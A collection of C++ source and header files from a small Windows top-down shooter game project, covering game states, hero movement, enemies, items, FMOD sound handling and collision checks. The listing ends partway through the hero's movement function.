#ifndef __GAMESTATE_H__
#define __GAMESTATE_H__
class cGameState
{
public:
virtual void Enter() = 0;
virtual bool Process() = 0;
virtual bool Render() = 0;
virtual void Exit() = 0;
private:
};
#endif<file_sep>/Gandhi-Prototype/include/cHero.h
#ifndef __HERO_H__
#define __HERO_H__
#include <windows.h>
#include "cScene.h"
#define HERO_WIDTH 64
#define HERO_HEIGHT 64
//Directions
#define DIRUP 0
#define DIRDOWN 1
#define DIRRIGHT 2
#define DIRLEFT 3
#define DIRNONE 4
//class cScene;
class cGame;
class cHero
{
public:
cHero();
virtual ~cHero(void);
void init(int cx, int cy);
bool Move(int dir);
// EFG: Como el personaje está formado por 3 partes distintas, tenemos 3 funciones
void GetRectLegs(RECT *rc,int *posx,int *posy,cScene *Scene);
void GetRectBody(RECT *rc,int *posx,int *posy,cScene *Scene);
void GetRectHead(RECT *rc,int *posx,int *posy,cScene *Scene);
void GetRectShield(RECT *rc,int *posx,int *posy,cScene *Scene);
void GetRectLife(RECT *rc,int *posx,int *posy,cScene *Scene);
void GetRectShoot(RECT *rc,int *posx,int *posy,cScene *Scene);
void SetPosition(int posx,int posy);
void SetCell(int cellx,int celly);
void GetCell(int *cellx,int *celly);
void ShootAt(int mx, int my);
int GetLife() { return life; }
int GetSpeed();
int GetX();
int GetY();
int GetDirection(){ return direction; }
void GetWorldRect(RECT *rc);
bool Hit(int damage);
bool AddLife(int lifeToAdd);
bool ChangeWeapon (int newWeapon);
int GetWeapon() { return weapon; }
int shielded;
int upgraded;
int firing;
private:
int x,y; //Position in total map
int seq; //Sequence animation control
int delay; //Animation delay
int shoot_seq; //Shooter sequence animation control
int shoot_delay;//Shooter animation delay
int speed; // Velocidad del personaje
int life;
int direction; // Dirección en la que está el personaje
int weapon; // Indica el tipo de arma que lleva (Bullet type)
int weapon_rof;
cScene *Scene;
cGame *Game;
};
#endif<file_sep>/Gandhi-Prototype/lib/cSkeleton.cpp
#include "cSkeleton.h"
#include "cScene.h"
cSkeleton::cSkeleton()
{
SetPosition(64,64);
SetCell(2,2);
}
cSkeleton::~cSkeleton()
{
}
void cSkeleton::GetRect(RECT *rc,int *posx,int *posy,cScene *Scene)
{
*posx = SCENE_Xo + x - (Scene->cx<<5);
*posy = SCENE_Yo + y - (Scene->cy<<5);
SetRect(rc,128,32,160,64);
}
void cSkeleton::GetRectRadar(RECT *rc,int *posx,int *posy)
{
*posx = RADAR_Xo + ( cx << 2 );
*posy = RADAR_Yo + ( cy << 2 );
SetRect(rc,84,32,88,36);
}
void cSkeleton::SetPosition(int posx,int posy)
{
x = posx;
y = posy;
}
void cSkeleton::GetPosition(int *posx,int *posy)
{
*posx = x;
*posy = y;
}
void cSkeleton::SetCell(int cellx,int celly)
{
cx = cellx;
cy = celly;
}
void cSkeleton::GetCell(int *cellx,int *celly)
{
*cellx = cx;
*celly = cy;
}<file_sep>/Gandhi-Prototype/include/cItem.h
#ifndef __ITEM_H__
#define __ITEM_H__
#include <windows.h>
#define ITEM_WIDTH 64
#define ITEM_HEIGHT 64
#define NUM_ITEMS 3
#define IT_LIFE 0
#define IT_SHIELD 1
#define IT_WEAPON 2
#define IT_WEAPON_1 2
#define IT_WEAPON_2 3
#define IT_WEAPON_3 4
#define IT_END_CAR -1
#define SHIELD_POWER 50
class cScene;
class cItem
{
public:
cItem(int type, int posx, int posy);
virtual ~cItem(void);
void GetRect(RECT *rc,int *posx,int *posy,cScene *Scene);
void SetPosition(int posx,int posy);
void GetPosition(int *posx,int *posy);
void SetCell(int cellx,int celly);
void GetCell(int *cellx,int *celly);
void GetWorldRect(RECT *rc);
void Use();
private:
int x,y; //Position in total map
int type;
};
#endif<file_sep>/Gandhi-Prototype/include/cEnemy.h
#ifndef __ENEMY_H__
#define __ENEMY_H__
#include <windows.h>
#include "cBullet.h"
#include "cPath.h"
#include "cScene.h"
#define ENEMY_WIDTH 32
#define ENEMY_HEIGHT 32
#define NUM_ENEMIES 3
#define ENEMY_1 0
#define ENEMY_2 1
#define ENEMY_3 2
//class cGame;
const int enemy_life[3] = {4, 12, 25};
const int enemy_weapon[3] = {BULL_1, BULL_2, BULL_3};
class cScene;
class cGame;
class cHero;
class cEnemy
{
public:
cEnemy(int type, int cx, int cy);
virtual ~cEnemy(void);
void GetHeadRect(RECT *rc,int *posx,int *posy,cScene *Scene);
void GetBodyRect(RECT *rc,int *posx,int *posy,cScene *Scene);
void SetPosition(int posx,int posy);
void GetPosition(int *posx,int *posy);
void SetCell(int cellx,int celly);
void GetCell(int *cellx,int *celly);
void GetWorldRect(RECT *rc);
bool Hit(int damage);
void MoveTo(int destcx,int destcy);
void update();
void Shoot();
void Die();
private:
int x,y; //Position in total map
int type;
int life;
int weapon; // Indica el tipo de arma que lleva (Bullet type)
int weapon_rof;
cPath Path;
cScene *Scene;
cHero *Hero;
cGame *Game;
};
#endif<file_sep>/Gandhi-Prototype/include/cSound.h
#ifndef CSOUND_H
#define CSOUND_H
#include "../FMOD/api/inc/fmod.hpp"
#include "../FMOD/api/inc/fmod_errors.h"
#include <iostream>
#include <map>
using namespace std;
class DatosCancion;
struct classcomp
{
bool operator() (string a , string b) const
{
int aux = a.compare(b);
if (aux < 0)
{
return true;
}
else
return false;
}
};
class cSound
{
public:
static cSound* GetInstance();
~cSound();
bool inicializarAudio();
void actualizar();
// Carga la canción principal del nivel (Sólo hay una)
bool cargarCancion(const char* ruta);
// Carga un efecto y lo añade a la lista de efectos
bool cargarEfecto(const char* ruta, string nombre);
// Reproduce la canción principal
bool playCancion();
// Detiene la canción principal
bool stopCancion();
// Pausa o continua la canción principal
void setPaused(bool p);
// Pausa la canción un determinado número de segundos
void pausar(int segs);
// Repruduce un efecto determinado
bool playEfecto(string nombre);
// Cambia segundo por el que se encuentra la reproduccion de la canción
void setPosicion(int ms);
FMOD::System* getSystem() const;
FMOD::ChannelGroup* getChannelGroup() const;
FMOD::Channel* getChannel() const;
FMOD::Sound* getSound() const;
private:
static cSound* instance;
cSound();
FMOD::System* system;
FMOD_RESULT result;
FMOD::ChannelGroup *inputChannelGroup;
FMOD::Channel *inputChannel;
// Sonido para la canción principal
FMOD::Sound* sound;
// Sonidos para efectos
map<string, FMOD::Sound*, classcomp> efectos;
// Contador para las pausas
int contadorPausa;
// Valor de la pausa
int segundosPausa;
bool ERRCHECK(FMOD_RESULT result);
};
#endif<file_sep>/Gandhi-Prototype/include/cPath.h
#ifndef __PATH_H__
#define __PATH_H__
#include "cAStar.h"
//Direction
#define N 1
#define S 2
#define E 3
#define O 4
#define NE 5
#define NO 6
#define SE 7
#define SO 8
//Going
#define STOP 0
#define CONTINUE 1
#define ARRIVE 2
//Step length
#define STEP_LENGTH 2 //Posible values = {1,2,4,8,16,32}
class cEnemy;
class cGame;
class cPath
{
public:
cPath();
virtual ~cPath();
int x,y; //actual cell
int xf,yf; //objective cell
int nxf,nyf;//new objective cell (superposed case)
int dir; //direction
cAStar *AStar;
void Make(int cx,int cy,int cxdest,int cydest); //Make new path
void ReMake(int cxdest,int cydest); //Make new path overlapping previous
int NextStep(int *px,int *py,int *cx,int *cy,cEnemy *en); //Calculate next step position
int NextCell(); //Calculate next cell
int Faced();
bool IsDone();
void Done();
private:
void CalcDir(int x1,int y1,int x2,int y2);
cGame *Game;
};
#endif
<file_sep>/Gandhi-Prototype/include/cGSGameOver.h
#ifndef __GSGAMEOVER_H__
#define __GSGAMEOVER_H__
#include "cGameState.h"
class cGSGameOver : public cGameState
{
public:
virtual void Enter();
virtual bool Process();
virtual bool Render();
virtual void Exit();
private:
};
#endif<file_sep>/Gandhi-Prototype/include/cGSIngame.h
#ifndef __GSINGAME_H__
#define __GSINGAME_H__
#include "cGameState.h"
class cGSIngame : public cGameState
{
public:
virtual void Enter();
virtual bool Process();
virtual bool Render();
virtual void Exit();
private:
int delayPasos;
};
#endif<file_sep>/Gandhi-Prototype/lib/cSound.cpp
#include "cSound.h"
cSound* cSound::instance = NULL;
cSound* cSound::GetInstance()
{
if (instance == NULL)
{
instance = new cSound();
}
return instance;
}
cSound::cSound(){}
cSound::~cSound()
{
cout << "BORRANDO INTERFAZ AUDIO" << endl;
// Cerramos todo el sistema de sonido
inputChannel->setPaused(true);
inputChannel->stop();
result = sound->release();
ERRCHECK(result);
result = inputChannelGroup->release();
ERRCHECK(result);
result = system->close();
ERRCHECK(result);
result = system->release();
ERRCHECK(result);
}
bool cSound::inicializarAudio()
{
bool res = true;
// Creamos Sistema FMOD
result = FMOD::System_Create(&system);
res = ERRCHECK(result);
// Inicializamos FMOD
//
//
int numdrivers;
FMOD_SPEAKERMODE speakermode;
FMOD_CAPS caps;
char name[256];
result = system->getNumDrivers(&numdrivers);
if(!ERRCHECK(result)) return false;
if (numdrivers == 0){
result = system->setOutput(FMOD_OUTPUTTYPE_NOSOUND);
if(!ERRCHECK(result)) return false;
}else{
result = system->getDriverCaps(0, &caps, 0, &speakermode);
if(!ERRCHECK(result)) return false;
// Set the user selected speaker mode.
result = system->setSpeakerMode(speakermode);
if(!ERRCHECK(result)) return false;
// 'Acceleration' slider is off! Bad for latency! Issue a warning
if (caps & FMOD_CAPS_HARDWARE_EMULATED){
result = system->setDSPBufferSize(1024, 10);
if(!ERRCHECK(result)) return false;
}
result = system->getDriverInfo(0, name, 256, 0);
if(!ERRCHECK(result)) return false;
//Sigmatel devices crackle if format is PCM 16bit. PCM floating point seems to solve it.
if (strstr(name, "SigmaTel")){
result = system->setSoftwareFormat(48000, FMOD_SOUND_FORMAT_PCMFLOAT, 0,0,
FMOD_DSP_RESAMPLER_LINEAR);
if(!ERRCHECK(result)) return false;
}
}
result = system->init(100, FMOD_INIT_NORMAL, 0);
if (result == FMOD_ERR_OUTPUT_CREATEBUFFER){ //speaker mode unsupported, back to stereo...
result = system->setSpeakerMode(FMOD_SPEAKERMODE_STEREO);
if(!ERRCHECK(result)) return false;
//Switch it... and re-init.
result = system->init(100, FMOD_INIT_NORMAL, 0);
}
// Inicializamos el grupo de canales
result = system->createChannelGroup("ICG1", &inputChannelGroup);
res = ERRCHECK(result);
// Hay que cargar siempre una canción
cargarCancion("media/sounds/Kalimba.mp3");
return res;
}
void cSound::actualizar()
{
// Actualizamos el sistema
result = system->update();
ERRCHECK(result);
}
bool cSound::cargarCancion(const char* ruta)
{
result = system->createStream(ruta, FMOD_2D | FMOD_SOFTWARE | FMOD_LOOP_NORMAL, 0, &sound);
return (ERRCHECK(result));
}
bool cSound::playCancion()
{
bool res = true;
result = system->playSound(FMOD_CHANNEL_FREE, sound, true, &inputChannel);
res = ERRCHECK(result);
result = inputChannel->setChannelGroup(inputChannelGroup);
res = ERRCHECK(result);
result = inputChannel->setPaused(false);
res = ERRCHECK(result);
return res;
}
bool cSound::stopCancion()
{
bool res = true;
setPosicion(0);
result = inputChannel->stop();
res = ERRCHECK(result);
return res;
}
void cSound::setPosicion(int ms)
{
inputChannel->setPosition(ms, FMOD_TIMEUNIT_MS);
}
void cSound::pausar(int segs)
{
setPaused(true);
}
void cSound::setPaused(bool p)
{
result = inputChannel->setPaused(p);
}
bool cSound::cargarEfecto(const char* ruta, string nombre)
{
FMOD::Sound* efecto;
result = system->createSound(ruta, FMOD_2D | FMOD_SOFTWARE | FMOD_LOOP_OFF, 0, &efecto);
// Almacenamos el efecto para acceder a el cuando sea necesario
efectos[nombre] = efecto;
return (ERRCHECK(result));
}
bool cSound::playEfecto(string nombre)
{
result = system->playSound(FMOD_CHANNEL_FREE, efectos[nombre], false, &inputChannel);
return (ERRCHECK(result));
}
FMOD::System* cSound::getSystem() const
{
return system;
}
FMOD::ChannelGroup* cSound::getChannelGroup() const
{
return inputChannelGroup;
}
FMOD::Channel* cSound::getChannel() const
{
return inputChannel;
}
FMOD::Sound* cSound::getSound() const
{
return sound;
}
bool cSound::ERRCHECK(FMOD_RESULT result)
{
if (result != FMOD_OK)
{
cerr << "FMOD error! (" << result << ") " << FMOD_ErrorString(result) << endl;
return false;
}
return true;
}<file_sep>/Gandhi-Prototype/lib/cGame.cpp
#include "cGame.h"
#include "cLog.h"
#include "cGSMenu.h"
#include "cGSIngame.h"
#include "cGSGameOver.h"
#include "cGSGameEnd.h"
cGame* cGame::instance = NULL;
cGame::cGame() {
State = NULL;
gameEnd = new cGSGameEnd();
gameOver = new cGSGameOver();
inGame = new cGSIngame();
menu = new cGSMenu();
}
cGame::~cGame()
{
// EFG: Eliminamos la memoria dinámica
if (Graphics != NULL)
{
delete Graphics;
Graphics = NULL;
}
if (Input != NULL)
{
delete Input;
Input = NULL;
}
if (Sound != NULL)
{
delete Sound;
Sound = NULL;
}
if (Scene != NULL)
{
delete Scene;
Scene = NULL;
}
if (HUD != NULL)
{
delete HUD;
HUD = NULL;
}
if (State != NULL)
{
delete State;
State = NULL;
}
if (Hero != NULL)
{
delete Hero;
Hero = NULL;
}
}
cGame* cGame::GetInstance()
{
if (instance == NULL)
{
instance = new cGame();
}
return instance;
}
bool cGame::Init(HWND hWnd,HINSTANCE hInst,bool exclusive)
{
bool res;
GamePoints = 0;
rumble = 0;
cLog *Log = cLog::Instance();
// EFG: Instanciamos gráficos, sonido e input
Graphics = cGraphicsLayer::GetInstance();
Sound = cSound::GetInstance();
Input = cInputLayer::GetInstance();
// EFG: Creamos la escena y el HUD
Scene = new cScene();
HUD = new cHUD();
// EFG: Creamos el heroe
Hero = new cHero();
// EFG: Iniciamos el estado menú
ChangeState(menu);
State->Enter();
res = Graphics->Init(hWnd, !exclusive); //fullscreen = !exclusive
if(!res)
{
Log->Msg("Error initializing Graphics!");
return false;
}
res = Input->Init(hInst,hWnd,exclusive,USE_MOUSE|USE_KEYBOARD);
if(!res)
{
Log->Msg("Error initializing Input!");
return false;
}
Input->SetMousePosition(SCREEN_RES_X >> 1,SCREEN_RES_Y >> 1);
Graphics->LoadData();
// Cargamos efectos de sonido
Sound->inicializarAudio();
Sound->cargarCancion("media/sounds/Kalimba.mp3");
Sound->cargarEfecto("media/sounds/stepMetal1.wav", "pasos");
Sound->cargarEfecto("media/sounds/hurt3.wav", "hit");
Sound->cargarEfecto("media/sounds/forceField.wav", "shield");
Sound->cargarEfecto("media/sounds/minigun.wav", "w1");
Sound->cargarEfecto("media/sounds/railgun.wav", "w2");
Sound->cargarEfecto("media/sounds/plasma.wav", "w3");
Sound->cargarEfecto("media/sounds/grenadeExplode.wav", "explo");
Sound->cargarEfecto("media/sounds/unstoppable.wav", "end");
Sound->cargarEfecto("media/sounds/humiliation.wav", "over");
return true;
}
void cGame::Finalize()
{
Graphics->UnLoadData();
Graphics->Finalize();
Input->UnacquireAll();
Input->Finalize();
}
bool cGame::Loop()
{
bool res;
//Input
res = LoopInput();
if(!res) return false;
//Process
res = LoopProcess();
if(!res) return false;
//Output
res = LoopOutput();
if(!res) return false;
return true;
}
bool cGame::LoopInput()
{
bool res;
cLog *Log = cLog::Instance();
res = Input->Read();
if(!res)
{
Log->Msg("Error reading Input!");
}
return true;
}
bool cGame::LoopProcess()
{
return State->Process();
}
bool cGame::LoopOutput()
{
bool res;
res = Render();
return res;
}
bool cGame::Render()
{
bool res;
// EFG: El juego llama al método pintar del estado
// y el estado, en función de cuál sea, le dirá a la
// los gráficos que pinten una cosa u otra
res = State->Render();
return res;
}
void cGame::ProcessKeyboard() {
cKeyboard *Keyboard;
Keyboard = Input->GetKeyboard();
if(Keyboard->KeyDown(DIK_W) || Keyboard->KeyDown(DIK_UP)) {
if(Hero->Move(DIRUP)) Scene->Move(DIRUP);
}
else if(Keyboard->KeyDown(DIK_S) || Keyboard->KeyDown(DIK_DOWN)) {
if(Hero->Move(DIRDOWN)) Scene->Move(DIRDOWN);
}
if(Keyboard->KeyDown(DIK_D) || Keyboard->KeyDown(DIK_RIGHT)) {
if(Hero->Move(DIRRIGHT)) Scene->Move(DIRRIGHT);
}
else if(Keyboard->KeyDown(DIK_A) || Keyboard->KeyDown(DIK_LEFT)) {
if(Hero->Move(DIRLEFT)) Scene->Move(DIRLEFT);
}
if (Keyboard->KeyUp(DIK_W) &&
Keyboard->KeyUp(DIK_A) &&
Keyboard->KeyUp(DIK_S) &&
Keyboard->KeyUp(DIK_D))
{
Hero->Move(DIRNONE);
}
if (Keyboard->KeyDown(DIK_SPACE))
{
State->Process();
}
}
void cGame::ProcessCollisions()
{
RECT hr;
Hero->GetWorldRect(&hr);
// CON LOS ITEMS
list<cItem*>::iterator it = Items.begin();
while(it != Items.end()) {
RECT ir;
cItem* item = *it;
item->GetWorldRect(&ir);
if(intersects(&hr, &ir)) {
item->Use();
it = Items.erase(it);
}
else it++;
}
// CON LAS BALAS DEL HEROE
list<cBullet*>::iterator hit = HeroBullets.begin();
while(hit != HeroBullets.end()) {
RECT br;
cBullet* bullet = *hit;
bullet->GetWorldRect(&br);
cEnemy* enemy = intersectsWithEnemy(&br);
if(enemy != NULL) {
if(enemy->Hit(bullet->GetDamage())) {
enemy->Die();
Enemies.remove(enemy);
}
hit = HeroBullets.erase(hit);
}
else hit++;
}
// CON LAS BALAS ENEMIGAS
hit = EnemyBullets.begin();
while(hit != EnemyBullets.end()) {
RECT br;
cBullet* bullet = *hit;
bullet->GetWorldRect(&br);
if(intersects(&hr, &br)) {
if(Hero->Hit(bullet->GetDamage()>>1)) { //>>1 ajuste de dificultad
ChangeState(gameOver);
}
hit = EnemyBullets.erase(hit);
}
else hit++;
}
}
void cGame::ProcessEnemies()
{
list<cEnemy*>::iterator it = StalkingEnemies.begin();
while(it != StalkingEnemies.end()) {
cEnemy* enemy = *it;
int cx, cy;
enemy->GetCell(&cx, &cy);
if(Scene->Visible(cx, cy)) {
list<cEnemy*>::iterator tmpit = it;
it++;
Enemies.splice(Enemies.begin(), StalkingEnemies, tmpit);
}
else it++;
}
for(list<cEnemy*>::iterator it = Enemies.begin(); it != Enemies.end(); it++) {
cEnemy* enemy = *it;
enemy->update();
}
list<cBullet*>::iterator hit = EnemyBullets.begin();
while(hit != EnemyBullets.end()) {
cBullet* bullet = *hit;
if(!bullet->Move()) {
hit = EnemyBullets.erase(hit);
}
else hit++;
}
hit = HeroBullets.begin();
while(hit != HeroBullets.end()) {
cBullet* bullet = *hit;
if(!bullet->Move()) {
hit = HeroBullets.erase(hit);
}
else hit++;
}
}
void cGame::ProcessOrder()
{
int mx, my;
cMouse *Mouse;
int b4pointer;
Mouse = Input->GetMouse();
b4pointer = Mouse->GetPointer();
Mouse->GetPosition(&mx,&my);
ProcessKeyboard();
ProcessEnemies();
ProcessCollisions();
if(Mouse->ButtonDown(LEFT))
{
Mouse->SetPointer(NORMAL);
if(Mouse->In(SCENE_Xo,SCENE_Yo,SCENE_Xf,SCENE_Yf))
{
// EFG: Mouse dentro de la escena
Hero->ShootAt(mx, my);
}
}
}
bool cGame::ChangeState(cGameState* newState)
{
// EFG: Salimos del estado actual
if (State != NULL)
{
State->Exit();
}
// EFG: Hacemos del nuevo estado el estado actual y entramos en el
if (newState != NULL)
{
State = newState;
State->Enter();
return true;
}
else
{
return false;
}
}
void cGame::addEnemy(int type, int cx, int cy)
{
Enemies.push_back(new cEnemy(type, cx, cy));
}
void cGame::addStalkingEnemy(int type, int cx, int cy)
{
StalkingEnemies.push_back(new cEnemy(type, cx, cy));
}
void cGame::addItem(int type, int posx, int posy)
{
Items.push_back(new cItem(type, posx, posy));
}
void cGame::addEnemyBullet( int type, int x, int y, int vx, int vy )
{
EnemyBullets.push_back(new cBullet(type, x, y, vx, vy));
if(EnemyBullets.size()%2 == 0 && Scene->Visible(x>>TILE_W_SHIFT, y>>TILE_W_SHIFT)) {
switch (type)
{
case BULL_1:
Sound->playEfecto("w1");
break;
case BULL_2:
Sound->playEfecto("w2");
break;
case BULL_3:
Sound->playEfecto("w3");
break;
}
}
}
void cGame::addHeroBullet( int type, int x, int y, int vx, int vy )
{
HeroBullets.push_back(new cBullet(type, x, y, vx, vy));
switch (type)
{
case BULL_1:
Sound->playEfecto("w1");
break;
case BULL_2:
Sound->playEfecto("w2");
break;
case BULL_3:
Sound->playEfecto("w3");
break;
}
}
bool cGame::intersects(RECT *r1, RECT *r2)
{
return !(r1->left > r2->right || r1->right < r2->left ||
r1->top > r2->bottom || r1->bottom < r2->top);
}
cEnemy* cGame::intersectsWithEnemy(RECT *r)
{
return intersectsWithEnemy(r, NULL);
}
cEnemy* cGame::intersectsWithEnemy(RECT *r, cEnemy *self)
{
for(list<cEnemy*>::iterator it = Enemies.begin(); it != Enemies.end(); it++) {
RECT er;
cEnemy* enemy = *it;
if(enemy == self) continue;
enemy->GetWorldRect(&er);
if(intersects(r, &er)) return enemy;
}
return NULL;
}
void cGame::addLevelEnd( int cx, int cy )
{
Items.push_back(new cItem(IT_END_CAR, cx<<TILE_W_SHIFT, cy<<TILE_W_SHIFT));
}
<file_sep>/Gandhi-Prototype/include/cScene.h
#ifndef __SCENE_H__
#define __SCENE_H__
#include <set>
/**
La resolucion es 800 x 600 en cualquier caso
El mapa es de 32 x 32 de momento
El tamaño de la escena en tiles es 32 x 32
El tamaño de la escena en pixels es 32*32 x 32*32 = 1024 x 1024
**/
//Resolution
#define SCREEN_RES_X 1024
#define SCREEN_RES_Y 768
//Dimensions
#define AREA_WIDTH 64
#define AREA_HEIGHT 32
#define TILE_WIDTH 64
#define TILE_W_SHIFT 6
//Visible part
#define SCENE_WIDTH SCREEN_RES_X/TILE_WIDTH + 1
#define SCENE_HEIGHT SCREEN_RES_Y/TILE_WIDTH + 1
//Map coordinate beginning
#define SCENE_Xo 0
#define SCENE_Yo 0
#define SCENE_Xf SCREEN_RES_X
#define SCENE_Yf SCREEN_RES_Y
//Posición pantalla Hero excepto en bordes
#define HERO_X SCREEN_RES_X/2
#define HERO_Y SCREEN_RES_Y/2
//Directions
#define DIRUP 0
#define DIRDOWN 1
#define DIRRIGHT 2
#define DIRLEFT 3
//WARNING!: Contra más bajo, más enemigos!
#define ENEMY_DENSITY 15
struct mapCell {
int tile;
bool walkable;
};
class cScene
{
public:
cScene();
virtual ~cScene();
void LoadMap(char *file);
void Move(int dir);
bool Visible(int cellx,int celly);
mapCell map[AREA_HEIGHT][AREA_WIDTH];
int camx,camy;
void getCell(int *cx, int *cy);
private:
std::set<int> walkableTiles;
};
#endif
<file_sep>/Gandhi-Prototype/lib/cItem.cpp
#include "cItem.h"
#include "cScene.h"
#include "cHero.h"
#include "cGame.h"
#include "cGSGameEnd.h"
cItem::cItem(int type, int posx, int posy)
{
this->type = type;
SetPosition(posx,posy);
}
cItem::~cItem()
{
}
void cItem::GetRect(RECT *rc,int *posx,int *posy,cScene *Scene)
{
*posx = SCENE_Xo + x - (Scene->camx);
*posy = SCENE_Yo + y - (Scene->camy);
switch (type)
{
case IT_LIFE:
SetRect(rc, 192, 0, 256, 64);
break;
case IT_SHIELD:
SetRect(rc, 256, 0, 320, 64);
break;
case IT_WEAPON_1:
SetRect(rc, 0, 0, 64, 64);
break;
case IT_WEAPON_2:
SetRect(rc, 64, 0, 128, 64);
break;
case IT_WEAPON_3:
SetRect(rc, 128, 0, 192, 64);
break;
case IT_END_CAR:
SetRect(rc, 320, 0, 448, 64);
break;
default:
break;
}
}
void cItem::SetPosition(int posx,int posy)
{
x = posx;
y = posy;
}
void cItem::GetPosition(int *posx,int *posy)
{
*posx = x;
*posy = y;
}
void cItem::SetCell(int cellx,int celly)
{
x = cellx*TILE_WIDTH;
y = celly*TILE_WIDTH;
}
void cItem::GetCell(int *cellx,int *celly)
{
*cellx = x/TILE_WIDTH;
*celly = y/TILE_WIDTH;
// El coche es más largo, +2 para cargarlo a tiempo
if(type == IT_END_CAR) {
*cellx += 2;
}
}
void cItem::GetWorldRect(RECT *rc)
{
SetRect(rc, x, y, x + ITEM_WIDTH, y + ITEM_HEIGHT);
}
void cItem::Use()
{
cHero* Hero = cGame::GetInstance()->GetHero();
switch(type)
{
case IT_LIFE:
Hero->AddLife(20);
cGame::GetInstance()->GamePoints += 20;
break;
case IT_SHIELD:
Hero->shielded = SHIELD_POWER;
cGame::GetInstance()->GetSound()->playEfecto("shield");
cGame::GetInstance()->GamePoints += 50;
break;
case IT_WEAPON_1:
Hero->ChangeWeapon(BULL_1);
cGame::GetInstance()->GamePoints += 100;
break;
case IT_WEAPON_2:
Hero->ChangeWeapon(BULL_2);
cGame::GetInstance()->GamePoints += 200;
break;
case IT_WEAPON_3:
Hero->ChangeWeapon(BULL_3);
cGame::GetInstance()->GamePoints += 300;
break;
case IT_END_CAR:
cGame::GetInstance()->ChangeState(cGame::GetInstance()->gameEnd);
cGame::GetInstance()->GamePoints += 5000;
break;
}
}
<file_sep>/Gandhi-Prototype/lib/cGSGameOver.cpp
#include "cGSGameOver.h"
#include "cGSMenu.h"
#include "cMouse.h"
#include "cGame.h"
#include "cGSIngame.h"
void cGSGameOver::Enter()
{
cGame::GetInstance()->GetSound()->stopCancion();
cGame::GetInstance()->GetSound()->pausar(30);
cGame::GetInstance()->GetSound()->playEfecto("over");
}
bool cGSGameOver::Process()
{
cGame *Game = cGame::GetInstance();
cKeyboard *KeyBoard = cInputLayer::GetInstance()->GetKeyboard();
if (KeyBoard->KeyDown(DIK_SPACE))
{
Game->ChangeState(Game->menu);
}
return true;
}
bool cGSGameOver::Render()
{
return cGraphicsLayer::GetInstance()->RenderGameOver();
}
void cGSGameOver::Exit()
{
}<file_sep>/Gandhi-Prototype/include/cSkeleton.h
#ifndef __SKELETON_H__
#define __SKELETON_H__
#include <windows.h>
class cScene;
class cSkeleton
{
public:
cSkeleton(void);
virtual ~cSkeleton(void);
void GetRect(RECT *rc,int *posx,int *posy,cScene *Scene);
void GetRectRadar(RECT *rc,int *posx,int *posy);
void SetPosition(int posx,int posy);
void GetPosition(int *posx,int *posy);
void SetCell(int cellx,int celly);
void GetCell(int *cellx,int *celly);
private:
int x,y; //Position in total map
int cx,cy; //Cell position in total map
};
#endif<file_sep>/Gandhi-Prototype/include/cGSMenu.h
#ifndef __GSMENU_H__
#define __GSMENU_H__
#include "cGameState.h"
class cGSMenu : public cGameState
{
public:
virtual void Enter();
virtual bool Process();
virtual bool Render();
virtual void Exit();
private:
};
#endif<file_sep>/Gandhi-Prototype/lib/cHero.cpp
#include "cHero.h"
#include "cPath.h"
#include "cGame.h"
cHero::cHero()
{
Game = cGame::GetInstance();
Scene = cGame::GetInstance()->GetScene();
}
cHero::~cHero()
{
}
void cHero::init(int cx, int cy)
{
SetCell(cx,cy);
seq=0;
delay=0;
speed = 4; //4
life = 100;
direction = DIRNONE;
firing = 0;
shoot_seq=0;
shoot_delay=0;
weapon = BULL_1;
weapon_rof = 0;
shielded = 0; //0
upgraded = 0;
}
void cHero::GetRectShield(RECT *rc,int *posx,int *posy,cScene *Scene)
{
*posx = SCENE_Xo + x - (Scene->camx) + 96;
*posy = SCENE_Yo + y - (Scene->camy) + 96;
SetRect(rc, 384, 192, 576, 384);
}
void cHero::GetRectHead(RECT *rc,int *posx,int *posy,cScene *Scene)
{
*posx = SCENE_Xo + x - (Scene->camx);
*posy = SCENE_Yo + y - (Scene->camy);
SetRect(rc, 256, 0, 320, 64);
}
void cHero::GetRectBody(RECT *rc,int *posx,int *posy,cScene *Scene)
{
*posx = SCENE_Xo + x - (Scene->camx);
*posy = SCENE_Yo + y - (Scene->camy);
// El cuerpo cambia en función del arma que llevemos
switch (weapon)
{
case BULL_1:
SetRect(rc, 64, 0, 128, 64);
break;
case BULL_2:
SetRect(rc, 0, 0, 64, 64);
break;
case BULL_3:
SetRect(rc, 128, 0, 192, 64);
break;
default:
SetRect(rc, 192, 0, 256, 64);
break;
}
}
void cHero::GetRectLegs(RECT *rc,int *posx,int *posy,cScene *Scene)
{
switch(direction)
{
case DIRNONE:
SetRect(rc, 704, 64, 768, 128);
break;
default:
SetRect(rc, seq*64, 128, (seq+1)*64, 192);
delay++;
if(delay>=7)
{
seq++;
if(seq>6) seq=0;
delay=0;
}
break;
}
*posx = SCENE_Xo + x - (Scene->camx);
*posy = SCENE_Yo + y - (Scene->camy);
}
void cHero::GetRectShoot(RECT *rc,int *posx,int *posy,cScene *Scene)
{
*posx = SCENE_Xo + x - (Scene->camx);
*posy = SCENE_Yo + y - (Scene->camy);
SetRect(rc,shoot_seq<<TILE_W_SHIFT,64,(shoot_seq+1)<<TILE_W_SHIFT,96);
switch(shoot_seq)
{
case 0: *posx+=5; break;
case 1: *posx-=2; break;
case 2: *posx-=8; break;
case 3: *posx-=16; break;
case 4: *posx-=24; break;
case 5: *posx-=32; break;
case 6: *posx-=32; break;
case 7: *posx-=32; break;
}
shoot_delay++;
if(shoot_delay==4)
{
shoot_seq++;
if(shoot_seq==16) shoot_seq=0;
shoot_delay=0;
}
}
bool cHero::Move( int dir )
{
RECT hr;
direction = dir;
switch(dir)
{
case DIRUP:
if(Scene->map[(y-speed+HERO_HEIGHT/2)/TILE_WIDTH][(x+HERO_WIDTH/2)/TILE_WIDTH].walkable) {
y -= speed;
GetWorldRect(&hr);
if(Game->intersectsWithEnemy(&hr)) {
y += speed;
return false;
}
return true;
}
break;
case DIRDOWN:
if(Scene->map[(y+speed+HERO_HEIGHT/2)/TILE_WIDTH][(x+HERO_WIDTH/2)/TILE_WIDTH].walkable) {
y += speed;
GetWorldRect(&hr);
if(Game->intersectsWithEnemy(&hr)) {
y -= speed;
return false;
}
return true;
}
break;
case DIRRIGHT:
if(Scene->map[(y+HERO_HEIGHT/2)/TILE_WIDTH][(x+speed+HERO_WIDTH/2)/TILE_WIDTH].walkable) {
x += speed;
GetWorldRect(&hr);
if(Game->intersectsWithEnemy(&hr)) {
x -= speed;
return false;
}
return true;
}
break;
case DIRLEFT:
if(Scene->map[(y+HERO_HEIGHT/2)/TILE_WIDTH][(x-speed+HERO_WIDTH/2)/TILE_WIDTH].walkable) {
x -= speed;
